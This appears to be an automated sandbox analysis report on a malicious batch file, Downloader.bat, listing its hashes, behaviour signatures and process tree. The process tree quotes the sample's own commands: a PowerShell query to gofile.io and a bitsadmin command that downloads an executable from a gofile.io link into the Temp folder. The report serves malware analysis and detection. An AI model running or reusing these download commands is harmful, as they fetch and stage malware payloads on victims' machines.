Analysis

  • max time kernel
    104s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 23:31

General

  • Target

    Downloader.bat

  • Size

    564B

  • MD5

    e9425888abbdf846bcee0d7ee271e526

  • SHA1

    76e4f8a62ce5a0295347b423930f2b6c1bae955a

  • SHA256

    56fba807f509d7e6caea93447bfa9746ca0332a23216936598849b049a49c65d

  • SHA512

    647e9ad95d3cdd180fcb383195d8bc4f708bfad10251232ec01333d1e94e696f5d7e987ea8160790f134ae6f7893d0a5467848a4ee94f21b4ba4e264d2dd6853

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Downloader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5920
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "(Invoke-RestMethod 'https://api.gofile.io/getServer').data.server"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "(Invoke-RestMethod 'https://api.gofile.io/getServer').data.server"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:864
    • C:\Windows\system32\bitsadmin.exe
      bitsadmin /transfer gofiledownload /download /priority normal "https://+.gofile.io/download/d38nvZ" "C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe"
      2⤵
      • Download via BitsAdmin
      PID:5288

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zb5avydp.xlh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/864-0-0x00007FFC0C9A3000-0x00007FFC0C9A5000-memory.dmp

    Filesize

    8KB

  • memory/864-1-0x000002376ED90000-0x000002376EDB2000-memory.dmp

    Filesize

    136KB

  • memory/864-11-0x00007FFC0C9A0000-0x00007FFC0D461000-memory.dmp

    Filesize

    10.8MB

  • memory/864-12-0x00007FFC0C9A0000-0x00007FFC0D461000-memory.dmp

    Filesize

    10.8MB

  • memory/864-13-0x00007FFC0C9A0000-0x00007FFC0D461000-memory.dmp

    Filesize

    10.8MB

  • memory/864-14-0x00007FFC0C9A0000-0x00007FFC0D461000-memory.dmp

    Filesize

    10.8MB

  • memory/864-17-0x00007FFC0C9A0000-0x00007FFC0D461000-memory.dmp

    Filesize

    10.8MB